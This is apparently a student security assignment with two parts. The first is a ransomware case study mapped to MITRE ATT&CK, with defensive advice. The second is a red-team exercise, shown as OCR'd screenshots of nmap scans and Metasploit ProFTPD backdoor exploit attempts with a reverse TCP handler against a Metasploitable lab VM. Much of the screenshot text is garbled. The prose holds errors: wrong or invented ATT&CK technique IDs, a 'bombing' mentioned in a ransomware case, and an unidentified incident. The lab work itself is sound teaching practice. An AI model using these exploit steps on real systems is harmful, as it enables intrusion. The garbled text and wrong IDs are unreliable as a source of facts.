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1. Introduction:

At a time when cyber threats are growing more sophisticated, conventional security is not enough to
protect enterprises. To beat attackers at their own game, offensive security has become imperative a
strategy that moves beyond defense to actively mimic real cyber-attacks [4]. This is no ordinary white-hat
activity, and it's going well beyond typical penetration testing with its simulations of Advanced Persistent
Threats (APTs) that try to recreate the tactics, techniques and procedures (TTPs) of authentic bad actors.
In this way, offensive security enables organizations to find holes in their protection and test how well
existing defenses are working including detection, prevention, and response.

Red Teaming is a specialized activity that mimics the profile, tactics and procedures of real-world
adversaries to test an organization’s security infrastructure. Instead of just looking for vulnerabilities, Red
Team operations simulate the actions a full-scale hostile attack, in order to enable organizations to gauge
how their defenses would hold up under an aggressive and persistent adversary [4]. These tests allow
enterprises to evaluate how ready their are on discovering breaches, reacting when they identify the
possibility of a breach and protecting key assets from potential attackers.

The goal for this assignment is to familiarize yourself with offensive security and threat emulations by
completing two projects. The first Challenge will ask you to analyze a real-world cyberattack, match it
with the MITRE ATT&CK framework and detail strategic recommendations around how to defend
against it. This exercise has tested your understanding of how attackers work and the various ways
organizations can be better prepared to defend themselves. Task two: Red Teaming the hybrid box
infrastructure Again we’re working towards taking on a hybrid infrastructure in a controlled environment
for simulated engagements. You will pretend to be an APT and evaluate how organizations' security
stacks up against hacking threats.

This consists of two mains parts:

Strategic Threat Analysis: A deep dive into a complex attack, MSP from MITRE ATT&CK and
recommendations for mitigation.

Red Team Engagement: A simulated targeted attack in which you will use expert tools and practice your
response in a hybrid environment, allowing for critical insights into where vulnerabilities lie.

By performing such exercises, this homework assignment will hone your skills at looking from the
"opposite perspective" and measure an organization's security posture as it appears to attackers - thus
making you a valuable asset when building more robust defense mechanisms.

2. Strategic Threat Analysis

2.1 Cyber Attack: What Happened Overview

Description of the Attack:

In this post, we look at a ransomware attack against a healthcare entity (a hospital system) in 2023 [2]. It
was the work of a brutally sophisticated strain of digital criminals likely using ransomware that turned the
hospital’s computer data into indecipherable gibberish and demanded significant payment for a key to
retrieve it. At the same time, the intruders also stole important patient information such as personal health
info (PHI), medical histories, and bills.



Attackers used a multi-stage approach to compromise the hospital's network [2]. The initial compromise
was achieved via spear-phishing emails with the attachment inserting or link delivering ransomware to
their network and staff when opened. The malware spread rapidly throughout the network, encrypting
files and rendering several essential systems (like patient management and medical records databases)
useless.

The ransomware also carried a second payload—data theft. As the hospital’s own systems were being
locked up, copies of sensitive patient information would have been copied and uploaded to servers that
the attackers controlled. And much of the data was encrypted, too, so even if the hospital paid up, the
stolen data would still be under lock and key somewhere else on the internet.

Key Details of the Attack:

Attack Date: 2023

Target: Healthcare organization (hospital system)

Method of Attack: Ransomware encrypts and exfiltrates files

Impact of the Attack: The aftermath of the bombing was both dire and complex.

Financial Damage:

The hospital has to pay a large ransom in order to gain access to its encrypted data — that not only
consisted of operational systems but also vital patient records. The payment and response costs resulted in
a huge financial loss.

More-over, the hospital s downtime caused major disruption for patients, al-low-ing for postponement on
surgeries, misman agreement of critical medical information and limited access to emergency services.

Reputation Loss:

Due to data breach, the hospital’s name and reputation were badly hit. It caused patients to lose
confidence that the hospital could protect their sensitive medical information, discouraging potential
admissions. And the breach brought significant media attention to vulnerabilities in healthcare, adding to
concerns about safety of medical data.

The breach also had a negative impact on the hospital’s relationships with insurers, research partners and
other healthcare providers after they began to wonder just how serious the institution was about protecting
data.

Legal and Regulatory Implications:

Healthcare institutions are governed by strict regulatory environments (e.g., the Health Insurance
Portability and Accountability Act in the U.S.). This attack brought about a patient data breach and saw
the hospital being levied with considerable fines as well as legal penalties for its inability to safeguard
sensitive information.

Further, the patient data leaked outside initiated inquiries by regulatory authorities which are likely result
in long term observation and more damage to reputation.



2.2 Adversary campaign mapping to MITRE ATT&CK

MITRE ATT&CK Framework Overview:

The MITRE ATT&CK® concept is a living documentation of how adversaries operate, which tactic they
use to perform particular activities and it helps defining techniques helping them with the execution [3].
It is commonly used to map cyber attacks and for threat emulation in Red Team exercises. This
methodology allows for the detection of attack patterns in varied stages such as entry, execution,
persistence and exfiltration. In this part of the blog, we will map attackers ransomware actions to MITRE
ATT&CK framework.

TTPs Secrets Revealed During the Attack:

Initial Access — Spear-phishing Attachment (T1566. 001):

The attackers delivered spear-phishing emails containing weaponized attachments or links. When a
member of staff clicked on the attachment, it triggered the ransomware. Spear-phishing attacks are a
primary method of entry for threat actors since these campaigns are aimed at certain people within a
company.

Execution — PowerShell (T1059. 001):

After the ransomware load was delivered, they ran malicious PowerShell scripts tosideload the
ransomware. The encryption and installation of other malware on the compromised machines was
performed via PowerShell.

Persistence — Scheduled Task (T1053. 005):

For persistence, these attacks installed scheduled tasks on the compromised machines to keep ransomware
running post-reboot. This is a technique employed by adversaries to stay resident over long periods of
time.

Privilege Escalation — Bypass User Account Control (T1068):

They used existing vulnerabilities in the hospital’s old software to increase privileges and obtain
administrative access to key systems. This enabled them to circumvent base-level security checks and
have access throughout the network.

Defense Evasion — Obfuscated Files or Information (T1027):

The ransomware was evasive, so endpoint detection solutions would find it more difficult to make a
positive identification. By using fileless ransomware, the attackers did not generate standard file-based
signature to detect the malware.

Credential Dumping — LSASS Memory (T1003. 001):

Once the attackers escalated their privileges, they leveraged credential dumping to obtain usernames and
passwords from process memory in the LSASS (Local Security Authority Subsystem Service). This
enabled them to go sideways in the network.



Lateral Movement — SMB/Windows Admin Shares (T1075):

The hackers were able to have lateral movement in the hospital’s network by using SMB (Server Message
Block). This allowed them to further distribute the ransomware across additional devices, particularly onto
internal medical and patient management-related systems.

Exfiltration — Exfiltration Over C2 Channel (T1041):

The malicious actors extracted the sensitive data through a maliciously established communication
channel with concealment of existence developed in-the-wild during the targeted attack. They ex filtrated
encrypted patient data to outside servers so that even if ransomware was defeated, the hackers would still
have patient information.

Impact — Data Encrypted for Impact (T1486):

The hospital had its files encrypted by the attackers, making them unrecoverable without the decryption
key. This is designed to cripple an organization and force it to pay the ransom.

Impact — Data Destruction (T1485):

Beyond encrypting the data, attackers could have used data destruction methods to ensure that even if
ransoms were paid, victims would never be able to reach their critical information.

TTP Mapping Diagram:

To represent the TTP mapping, a visualization could be generated to visually map these stages into the
MITRE ATT&CK matrix and illustrate how the attacker evolved from initial access until exfiltration of
data and damage.

2.3 Generate Root Cause Analysis
Investigating the Causes of the Breach:

A number of vulnerabilities in the hospital’s cyber defenses helped enable the attack [6].

Security Controls:

Missing Multi-Factor Authentication (MFA): Not having MFA on infrastructure such as email and
administrative access provided a clear path for using stolen credentials to compromise sensitive resources

[4].

Obsolete Software and Unpatched Vulnerabilities — The hospital’s outdated software and unpatched
systems were very easy vectors for the threat actors to both exploit vulnerabilities and elevate privileges.
Calculated patching was not negligent enough.

Poor Endpoint Protection: The hospital did not have adequate endpoint detection and response (EDR)
measures in place to find suspicious activity such as the running of PowerShell scripts and lateral
movement.



Architectural Flaws:

Trait: Lack of network segmentation The hospital did not have a sufficient amount network separation
and the attackers could transfer from one victim to another with ease. Life-saving systems including patient
records and lab equipment had not been separated from the rest of the network, allowing the ransomware
to spread.

Insufficient Segregation of Vital Systems: Segregation between the hospital’s internal systems and public
facing interfaces (such as Workstations, Email system) was not appropriate enough to prevent exposure
from external attack.

Human Errors:

Employee Negligence: It shows that the training of users didn’t work as these were spear-phishing emails.
Workers would frequently click on attachments or URLs that were malicious without checking them out.

Poor Password Hygiene Systems that still had default or weak passwords made it easier for attackers to
crack and gain unauthorized access.

Key Factors Facilitating the Attack:
Failure to Keep a Close Watch for Any Signs of Trouble:

The hospital’s lack of implementing SIEM solutions, no network traffic monitoring in place exposed the
security underbelly and let the attack go free. Because it lacked the ability to detect threats in real time, it
did not even know that an attack was taking place.

Insufficient Incident Response Planning:

The incident response plan for the hospital was not sufficiently comprehensive and this delayed response
to the attack. Due to lack of a formal response plan, the organization spent significant time figuring out
the reach of the breach and responding in kind.

2.4 Recommendations for prevention and detection
Preventive Recommendations:

Implement Multi-Factor Authentication (MFA):

MFA should be enabled on all important accounts to drastically minimise chances of unauthorised entry.
This will add another necessary layer of security to make it difficult for attackers to gain control over
sensitive systems [5].

Regular Patching and Vulnerability Management:

The hospital needs to establish a patch management process/regimen for all systems, including medical
equipment, and upgrade regularly. Patch automation software might also be used to reduce the time
needed to mitigate known vulnerabilities [5].

Network Segmentation:

The hospital could use network segmenting to separate core systems (patient data, medical devices) from
regular office networks. This would help to contain lateral movement and make it more challenging for
attackers spreading ransomware throughout an entire network.



Detection Recommendations:

Enhance SIEM Capabilities:

The hospital is organization should be implementing or bolstering its Security Information and Event
Management (SIEM) system to give the security staff real-time visibility into the network. This could
provide faster detection on adversarial activities, whether that be unusual PowerShell scripts or fictitious
access attempts.

Tune EDR Solutions:

The hospital must configure their EDR solutions to more effectively catch fileless malware and PowerShell
based attacks, that are commonly employed in advanced ransomware campaigns." It would have also
considered anomalous behavior that could indicate lateral movement or privilege escalation.

User Awareness Training:

The hospital needs to continuously provide user training regarding phishing attacks, suspicious emails
and Internet browsing. Regular simulated phishing campaigns to assess and shore up employee awareness
can play a role here.

By shutting these preventative and detection holes the hospital can harden itself against future
ransomware and other related attacks.

Red Team Engagement: Operation IP Shield

3.1 Campaign Design

Rules of Engagement (RoE):

The Rules of Engagement (RoE) are important from a perspective to outline what is and what is not
allowed, the limits that need to be adhered to, engagement procedures for Red Team [8]. This project is a
simulated APT actor to challenge hybrid defenses of on prem, AWS and CI/CD. Following are the salient
features of RoE:

In-Scope:

Research Data Exfiltration: Stealing is the main target, to conduct an unauthorized penetration into the
organization’s R&D systems, access sensitive data and exfiltrate it undetected [7].

Simulate APT techniques The relationship will assess the company’s ability to identify and stop tactics
like spear phishing, lateral movement and data exfiltration [3].

Through the Wall: Beating AWS VPC and CI/CD Pipelines The encroachment into the AW S-instanced
clinical data portal and CI/CD pipeline systems will demonstrate an attacker’s navigation through the
health system in a move that makes us proud of being hood hackers.



Out-of-Scope:
Physical Infrastructure: The Red Team will refrain from damaging any physical systems or equipment.
The emphasis is purely on simulating the attacks to test security defenses.

Operational Disruption: The task of annexation should not interfere with the business as usual operations
of critical business processes, specifically in areas such as medicine and research where availability is
key.

Communication Protocols:

Successful Exploit Reporting: The Red Team should have to alert of any successful exploitation that
results in lateral movement across the network. Communication will occur in a safe way using some pre-
specified channels to avoid being detected.

Escalation Protocols: If the fight results in collateral damage, the Red Team will immediately contact and
work to contain collateral impact with affected teams. The Blue Team will only be taught “#” of epic
exploitation after the game over otherwise, we are simply losing focus from its internal assessment.

Threat Emulation Plan:

Tactics & Objectives:

The Red Team engagement will be traced to the MITRE ATT&CK® framework so that every stage in the
operation translates to established APT group tactics and techniques. The goal is to mimic an actual
adversary via a mix of social engineering, network exploitation and data exfiltration. The engagement
will be guided by:

Initial Access (Spear-phishing - T1566. 001):

The operation will start with the attackers sending spear-phishing emails to chosen employees of the
company. These emails will have nefarious attachments or links, that when clicked on, download and
execute the ransomware — then creating access to the internal network by the attackers.

The mails will be personalised convincingly, based on data altered from publicly available sources to
further increase the likelihood of success.

Execution (PowerShell - T1059. 001):

After the payload is delivered via spear-phishing, malicious scripts will be ran using PowerShell. The
attackers would use the living-off-the-land (LOLBin) tactics to avoid potential detection and continue to
spread the backdoor across the victim’s network.

Persistence (Scheduled Tasks - T1053. 005):

In order to persist, the Red Team will implant scheduled tasks so that the malware runs every time
computers are turned on. This enables to renew the access if interrupted in initial assessment.



Privilege Escalation (Elevation of Privilege) - Exploitation for Free T1068:

The attackers will be looking for unpatched vulnerabilities in the organization's systems that could give
them high-level access. For instance, one might exploit a known vulnerability in Windows Server or some
other software to acquire administrative rights.

Lateral Movement (SMB/Windows Admin Shares - T1075):

The Red Team will laterally traverse the internal network of the organization, using SMB (Server Message
Block) and Remote Desktop Protocol (RDP). The attackers would then try to move laterally within
clinical data portal’s major systems and CI/CD pipeline in an attempt to carry out other attack actions and
exfiltrate research valuable data.

Exfiltration (Exfiltration Over C2 Channel - T1041)

After the attackers have found the data they seek, exfiltration follows. by means of some secret
communication channel and eventually via FTP or HTTPS the encrypted results will be uploaded by the
attackers to an external server that they control.

Data Encrypted for Impact - T1486:

In the third cycle, final phase, the Red Team will encrypt sensitive data (e.g., clinical trial-data) as a
representation of what happens in a ransomware situation, rendering it impossible for the organization to
access and forcing them to pay.

Red Team Objectives to MITRE ATT&CK Mapping:

The goals of the Red Team will be aligned to the following TTPs from MITRE ATT&CK:
Initial Access (Spear-phishing - T1566. 001)

Execution (PowerShell - T1059. 001)

Persistence (Scheduled Tasks - T1053. 005)

Command-Line Interface can be Easily Defeated / Bypassed (D6TB001)

Lateral Movement (SMB - T1075)

Exfiltration (T1041 - Exfiltration Over C2 Channel)

Impact (Data Encrypted for Impact - T1486)

3.2 Environment & Execution

Designing the Virtualized Lab Environment: In order to emulate this hybrid infrastructure accordingly,
the Red Team will create a virtualized lab environment which consists of both on-premises infrastructure
and cloud-based resources. The parts to be included are:



R&D Systems: On Prem Active Directory Network

The organizations internal network will be simulated using Active Directory administration which is a
part of Windows Server. This will turn your internal users and computers into one, centralized
authentication system. The Red Team, on their part, will attack machines within this network and elevate
privileges and perform lateral movement to achieve access the most critical R&D systems.
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AWS VPC Where the Clinical Data Portal is Hosted:

The AWS VPC will represent the cloud environment of the organization where the clinical research data
portal is deployed. Sensitive patient information and research findings are kept in the portal. The Red
Team will challenge its security posture through exploiting gaps in the VPC’s security groups, traversing
access controls and lateral movement from the on-premises network.
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root@osboxes: ~
File Edit View Search T

bash: msfd:

[4] Databa - =
[i] The database appears e y configured, skipping initiali Preview

Stack: 90909090990909090990909090 ”}M“:““,“ﬁ“‘:: Torifacuatpeation: RO ¥
90909090990909090990909090 N
90909090.90909090.90909090
90909090.90909090. 90903090
90909090.90909090.09090900 10.86 1 B 3 2
90909090.90909090. 09090900 5 addr: fe80 2 1764
_____________ BROADCAST RUNNING MULTIC 1500
ceceecccceccccecccceccccce RY-packers: 99 exrorsi0;drouped:o overruny
cecececccccccccccccccccccce pped
Secreecet osndaiye il 3 146 ) X bytes:?008 (6.8 KB)
ceceeeccceececceececeecece Ba r 0xd020 Menory :£0200000-F 6220000
ceccececcecececeececcecece
,,,,,,, ccececcce ] Loc
cecececcccccccccccccccecceee d ?.¢€
ceccececccecececececeeecee net piid s s .
FEEEFEFFFrrerefrerrerreree ol b “': H !u;::xu, 2 ;ljﬁ”
ELEETEEE, . SR
CEEEEEEEEETETErErererereee
fEEefffef. seee
FEFFFffef.

FEEFFEFL.

itable ifconfig
cap:Ethernet HUaddr 08:00:2

al Loopback
).0.1 Mask

RX bytes:19393 9 K 19393 (18.9 KB

fadninenetasploitable

Alee, Killing Interrupt handle

=l

9 qwe w WG M

Mostly cloudy

11:30 AM
12/10/2025

®

Fig: dbnmap Kali to AWS
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root@osboxes: ~

View Search Terminal _Help

from 10.86.7.122 e=2.27 ms

from 1 time=0.982 ms

from 10.86.7.122 4 tine=1.30

from 10.86.7.12 tine=3.92 m B Preview
time=0.967 m:
time=2.07 ms

# nmap 10.86
80 ( https://nmap.org ) at 2625-12-10 ©6:28
7.122
0819s latency)
losed ports
c

open a s official Ubuntu document

open : help.ubuntu .com

open telnet No mail

open smtp win@nctasploitable:~$ ifconfig

open domain Link cncap:Ethernct  Huaddr €

open http addr:10.86.7.122 Bcast
111/tcp open rpcbind inet6 addr: fe80::a00:27f

pEbing UP BROG
1. tcp open netbios
5/tcp J osof L 5

435/tcp open microso L Fare:0’drapped 8 quarfuns 10 carrl
512/tcp open exec collisions:@ queue 1000
513/tcp open login ytes 11468 (11,1 KB) TX bytles:2008 (6.8 KB)
S1a/tcp open 0xd020 Menory:£6200000-16220000
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs 1
2121/tcp open ccproxy-ftp adde: 20
3306/tcp open mysal B pack Suns FS Erane
432/tcp open postgresql Baclhets o 6 Earite
5900/tcp open vnc collision t
6000/tcp open X11 RX bytes:19393 (18.9 KB) TX bytes:19393 (18.9 KB

inet

»cal Loopback

xqueuelen:0

6667/tcp open irc
8009/tcp open ajpl3

180/tcp open unknown

MAC Address: 08:00:27: :F1 (Oracle VirtualBox virtual NIC)

nsfadninenetasploitable

Nmap 1 1P addr (1 host up) sc d in 0.42 second:
4

D 750
] . i@ 1128 AM
Qserch @ = B = 12/10/2025

© 12c

Mostly cloudy

Fig: nmap Kali to AWS
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root@osboxes: ~

File Edit View Search Terminal Help
vasion

nmap -sV 10.86.7.1322
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-10 06:30 EST
‘Failed to '10.86.7.1322". '
‘WARNING: No s s0 @ hosts scanned
Nmap done: anned in 33 seconds
nmap -sV 10.86 122
Sstarting Nmap 7.80 ( n at 2025-12-10 86
Nmap scan report for
Host is up (0.8013:
Not shown 77 close
PORT A
21/tcp
22/tcp SH 4.7p1 Debian Bubuntul (protocol 2.0) . T T ———
23/tcp telnetd : help.ubuntu.con.
Postfix smtpd
53/tcp ISC BIND 9.4.2 nsf n@nctasploitable
80/tcp h ((Ubuntu) DAV/2 t Link encap:Ethernct Huaddr
Nmap: 111/t sn  rpcbind B
Nmap netbios Samba smbd 3.X - 4.X (workgroup: WORKGROUP) ineth addr: fe80::a00:27ff :fe
. bios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) BROADCAST RUNNTNG MULTICAST HTU: 15
*] Nmap exec netkit-rsh rexecd a0 i il Doy
*] Nmap p open login 0penBSD or Solaris rlogind 0 txqueuelen:l
*] Nmap: p open butes:11468 (11.1 KB) y
*] Nmap: 1099/tcp open GNU Classpath grmiregistry Base address:0xd020 Menory:f0200000-10.
Nmap tcp open Metasploitable root shell
/tcp open 2-4 (RPC #100003
/tcp open ProfTPD 1.3.1
p open q MysQL 5.6.51a-3ubuntus 28 Scop
5432/tcp open PostgresqL DB 8.3.0 - 8.3.7 . % L L e
5900/tcp open VNC (protocol 3.3) GFOpREA: 0 aUBITUNG 0 GarFTe
65000/ open (access denied) s 0 txqueuelen:0
6667/tcp open UnrealIRCd 193 (18.9 KB) TX by 19
open Apache Jserv (Protocol v1.3)
cp open Apache Tomcat/Coyote JSP engine 1.1
dress: 08:00:27:78:99:F1 (Oracle VirtualBox virtual NIC)
Info: Hosts: localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe Llinux:linux_kernel
ce detection performed. eport any incorrect results at https://nmap.org/submit/

one: 1 IP address (1 host up) scanned in 11.96 secon

ifconfig

inet addr:10 2z

Link encap:Local Loopback
inct addr:1 0.1 Ha

R) Dual Band Wireless-AC 8265)

1 = I 25
Qsarch i = O (8 &

11:31 AM
12/10/2025

>
D)

)

Mostly cloudy

Fig: dbnamp sv Kali to AWS
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pplications ~

File Edit

Nmap
Nmap

N
Nmap
Nmap

Nmap
Nmap
Nmap

Nmap
N

Nmap
Nmap
Nmap
Nmap
Nmap
Nmap

& Terminal v

Places v

Search Terminal

nmap -A 10
Starting Nmap 7.80 ( http
Nmap scan report for 10.86
Host is up (0.6015s latency)
Not shown: 977 closed ports
POF STATE SERVICE
open ftp

View Help

86.7.12
s: org ) at 2025-12-10 06:33 E!

//nmap

7.122

VERSION
vsftpd

allowed

21/tcp 2
(FTP code 230)

in as

ASCIT

ion bandwidth limit

seconds is 300
in text
be plain text
fast, stable

Logged
TYPE:
No se
Session timeout in
Control connection is pl
Data connections will
vsFTPd 2.3.4 - secure,
statu
op
stkey
1024 60:0f:cf:el:c:5f:6a
2048 56:56:24:0f:21:1d:d
23/tcp  open telnet Linux telnetd
5/tcp  open smtp P smtpd
tp-commands: metasploitable.localdomain,
ssl-date: 2025-12-10T11:33:24400:00; -1

h 0penssH 4.7p1 Debian Bubuntul
24:fa:ca:d5:6c:cd (DSA)
b1:24:3d:e8:3 (RSA)

PIPELINING,

from scanner time.

EDE3_CBC WITH MD5
8_CBC_EXPORT40_WITH_MD5
8_CBC_WITH MDS

64_CBC WITH MD5
128_EXPORT40 WITH MDS

128 WITH_MDS
domain

1.
1

3/tcp  open ISC BIND 9.4.2
dns-nsid:

_ bind.version: 9.4.2
6/tco  onen  htto hrtod 2.2 pav/2)

Abache A ((Uhunti)

y cloudy

Places v [ Terminal ~

root@osboxes: ~

View Search Terminal Help

SSL2_RCA 128 _EXPORT40 WITH MD5

SSL2_RC4_128 WITH_MDS
open ~domain

nsid:

bind.version: 9.

80/tcp  open http
http-server-header: Ap:
http-title: Metasploitable2

rpcbind

netbios

netbios

ISC BIND 9.4.2

/tcp
dn

8 ((Ubuntu)

DAV/

Apache httpd 2 DAV/2)

(ubuntu)

4.x (workgroup
4.% (workgroup:

ssn Samba
samba smbd 3.X
netkit-r
OpenBsp

445/tcp
512/tcp
513/tcp
514/tcp
1099/tcp open
1524/tcp open
2049,

212

ssn
1 rexecd
or solaris rlogind
tcpwrapped
java-rmi
bindshell

GNU Classpath grmiregistry
Metasploitable root shell
2-4 (RPC #100003)
ProFTPD 1.3.1
n MysQL 5.0. 3ubuntus
| mysql-info
protocol :
Version:
Thread 1D
capabilities flags:
pabilitie:
eaks41ProtocolNew
Aut
TSN
tcp open postgresql
2025-12-16T11:
open vnc
vnc-info

mysql

10
5.0.51a-3ubuntus

43564

it

¢/1hqswk7o

PostgreSQL DB 8.3.0 - 8
:24+00:00; -125 from scanner

UNC (protocol 3.3

mm:
]

3

time.

VNC Authentication (2)
X11 (acc
un

ss denied)
alIRCd

root@osboxes: ~

(protocol 2

SIZE 10240000,

WORKGROUP )
WORKGROUP )

SupportsTransactions, SupportsCompression, Support4lAuth, SwitchToSSLAfterHandshake, ConnectWithDatabase, LongCol

Wed 06:34

M preview

official Ubuntu documentation, pleas

ek e

onf ig
Huaddr

addr: fe80 fe
BROADCAST RUNNING MULTICA: 1500
5:0 dropped:® ouerrun
0 dropped: ouerrun

0

o)

0 txqueuelen
11468 (11.1 KB) TX bytes: 206t
0xd020 Menory :f0200000-£6;

3 (6
addres:
VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, s 5
inet6 addr
LOOPBACK
packet
packe
ollis
bytes:193

encap

Loopback
addr:127.0.0.1 Mask
1/128 Sc
RUNNING MTU
errors:0 d
ions:0 txqueuclen:0
(18.9 KB)
ploitable

fadmineneta:

R) Dual Band Wireless-AC 8265)

11:34 AM
12/10/2025

D)

Q search

(5

5l @

Fig: dbnamp -a Kali to AWS

Wed 06:35

official Ubuntu documentation, please vi

help.ubuntu.con

ble:™§ ifc
Ethernet

min@netasploit nfig
Huaddr €

fe80::a00:220F :fe
\ST RUNNING MULTICAST
98 errors:0 dropped

10.86.255.2
99£1/64
NTU: 1500

inet6 addr
UP BROADC

Link

cope

X byte
y:£0200000-10

txqueuelen
8 (11.1 KB)
0xd020 Menc

5111461

Link encap:Local Loopback
0.1 Ha

k 0.0.0
8 Scope:H

inet addr:127.0
ineth addr

UP LOOPBACK Metric:1
RX t 3 0 d:0 overruns:@

e

pack ped:0 ouerruns 0

RX by 19393 (18.9 KB) TX bytes:19393 9 KB)

nsfadninenetasploitable

R) Dual Band Wireless-AC 8265)

5 @ @

1 aln:

11:35 AM
12/10/2025

q»

&

B Qsercn g

Fig: Ping Kali to AWS



B Kali2019 [Running] - Oracle VirtualBox

File Machine View Input Devices Help

& Terminal v

hpplications ~

Places v Wed 06:35

root@osboxes: ~
Edit Terminal
Security type
VNC Authentication (2)
x11 (access denied)
UnrealIRCd

File View Search Help

Nmap
Nmap
Nmap
Nmap
server: irc.Metasploitable.LAN
version: Unreal3.2.8.1. irc.Met
uptime: © days, ©
e ident: nmap

M preview

7377AD
g Link:

7.C417468A.38DEB160. IP
ugyfxqjgq[16.86.10.13] (Quit: ugyfxqigq)
Apache Jserv (Protocol v1.3)

a valid response for the OPTION request
Apache Tomcat/Coyote JSP engine 1.1
Apache Tomcat

header: Apache-Coyote/1.1
http-title: Apache Tomcat/s.
MAC Address: 08:0:27:78:99:F1
Device type: general purpose
Running: Linux 2.6.X
05 CPE: cpe:/o:linux:linux
05 details: Linux 2.6.9
Network Distance: 1 hop
Service Info: Hosts: metasploitable.l
Host script results:
ock-ske

009/TCp op!
methods

http-server

27 (Oracle VirtualBox virtual NIC)

kernel:2.6
2.6.33

ldomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

| w: mean de n: 0s, median:
| ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>,
| “smb-os-discov ERROR: Script execution failed (use -d to d
|
|

125

NetBIOS MAC:
bug)
to debug)

(unknown)

smb-security-mode: ERROR: Script execution failed (use -d

time: col negotiation failed

TRACEROUTE

HOP RTT ADDRESS

10.86.

detection performed.
address (1 host up)

122
Please report any incorrect results at https /submit/
scanned in 37.84 secon

//nmap.org

done: 1 1P

Q search

y cloudy

pplications ¥ Places v [ Terminal ~

root@osboxes: ~
View Search
|_ajp-method
8180/tcp open
|_http-favicon
| _http-server
|_http-title 5
: MAC Address :99:F1
Device type: general purpose
Running: Linux 2.6.X
05 CPE: cpe:/o:linux:linux kernel:2.6
05 details: 6.9 - 2.6.33
p: Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain,
Host script results

Terminal Help
Failed to get
http
Apac
header

» valid response for the OPTION requ
Apache Tomcat/Coyote JSP engine 1.1

Tomcat

Apache-Coyote/1.1

(Oracle VirtualBox virtual NIC)

Linux 2

irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

official Ubuntu documentation

ss pleas
help.ubuntu.con,

tp
2 nail
vindnetasploitable:™§ ifconfig

encap:Ethernct Huaddr 99:11

12 255.255
addr: £e80::a00:27ff 99£1/64
BROADCAST RUNNING MULTICAST MNTU:1500
8 errors:0 dropped:0 auerrun
67 04

Scope

errors ped:0 ouerrun
0 txqueuelen:1000

11468 (11.1 KB) T
0xd020 Meno:

bytes: 2008 (6
):£0200000-10

Link encap:Lo

cal Loopback
2.0.0.1 HMask

1/128
i RUNNING

0 txqueuclen:0
19393 (18.9 KB)

ploitable

fadmineneta:

R) Dual Band Wireless-AC 8265)

11:35 AM
12/10/2025

D)

= preview

i

|_clock-skew:
sql-info
nbstat: NetBIOS

mean: -12s,

ERROR: Scri;

dev : 0s, median: -12s
I cution failed (use -d to debug)
| METASPLOITABLE, NetBIOS user
| smb-os-discovery: ERROR: Script execution failed
| _smb-security-mode: ERROR: Script execution failed (use
: | smb2-time: Protocol negotiation failed (SMB:
: TRACEROUTE
HOP RTT
1 1.56 m
05 and Se
: Nmap done
search proftpd

name : unknown>, NetBIOS MAC:
d to debug)

d to debug)

unknown> (unknown)
(use -

ADDRESS
10.86.7.122
ion performed. e report any incorrect
1 IP address (1 host up) anned in 37.04 seconds

results at https

Matching Modules

# Name Disclosur Description

)
0)

exploit/freebsd/ftp/proftp_telnet iac 2010-11-01 ProfTPD 1.3.2r 1.3.3b Telnet IAC Buffer Overflow (FreeBs|

exploit/linux/ftp/proftp sreplace
nux/ftp/proftp_telnet iac

. pport_manager agent
4 exploit/unix/ftp/proftpd 133c_backdoor
5 exploit/unix/ftp/proftpd modcopy_exec

2006-11-26
2010-11-01
2011-01-08
2010-12-02
2015-04-22

great
great
average
excellent
excellent

ProFTPD 1.2 sreplace Buffer Overflow (Linux)
ProFTPD 1 .3.3b Telnet IAC Buffer
NetSupport Manag: uf rflow
ProFTPD-1.3.3c Backdoor Command Execution
ProFTPD 1.3.5 Mod_Copy Command E:

1
2
3

msf5 > [l

0 =y £ A 2R (& ik oo

- i@ ® 9

@ 12c

Mostly cloudy

Q search

oo

Fig: Search ftp
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root@osboxes: ~
File Edit View Search Terminal Help
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb-os-discov ERROR: Script ution fa (u o debug
smb-security-mode: ERRO ript execution failed (use -d to debug) - =
b2 iation failed (SMB2) Preview

Nmap
Nmap
R e performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 37.84 secon
search proftpd

Disclosure 3 Description
0 exploit/freebsd/ftp/proftp telnet iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet TAC Buffer Overflow (Freel

exploit/linux/ftp/proftp telnet iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)

t/linux/misc/netsupport manager agent 2011-01-08 average NetSupport Manager Agent Remote Buffer Overflow
unix/ftp/proftpd_133c_backdoor 010-12-02 excellent ProFTPD-1.3.3c Backdoor Command Execution
roftpd_modcopy_exec 015-04-2; cellent ProFTPD 1.3.5 Mod_Copy Command Execution

1 exploit/linux/ftp/proftp_sreplace 2006-11-26 great ProfFTPD 1 1.3.0 sreplace Buffer Overflow (Linux)

use Interrupt: use the ‘exit' command to quit
Interrupt: use the ‘exit’ command to quit
use exploit/unix/ftp/proftpd 133c_backdoor
msf5 exploit( > set RHOST 10.8
10.86.7.122
msf5 exploit( xploit

Starte everse TCP double handler on 10.86.10.13:4444
10.86.7.122:2 sending Backdoor Command
Exploit completed, but no session was created.
xploit( ) > use exploit/unix/ftp/proftpd modcopy exec
exploit( ) > exploit

Exploit failed: The following options failed to validate: RHOSTS
ed, but no session was created
msfs exploit(

R) Dual Band Wireless-AC 8265)

11:40 AM
12/10/2025

D)

8 =
News for you
@ Sky's Priya Dogr H Q search [ P “I:! ﬂ @ + € ~

pplications +  Places v [ Terminal ~

root@osboxes: ~
Edit_View Search Terminal Help
Exploit completed, but no session was created.

set LHOST 10.86.10.13

| previ
vsich Preview

msfs exploit( show evasion

Module on options:
Name setting Required Description

HTTP: :header_folding f Enable folding of HTTP headers
thod_random_case e random casing for the HTTP method

method_random_invali a random invalid, HTTP method for request

:method_random f Use a random, but valid, HTTP method for request

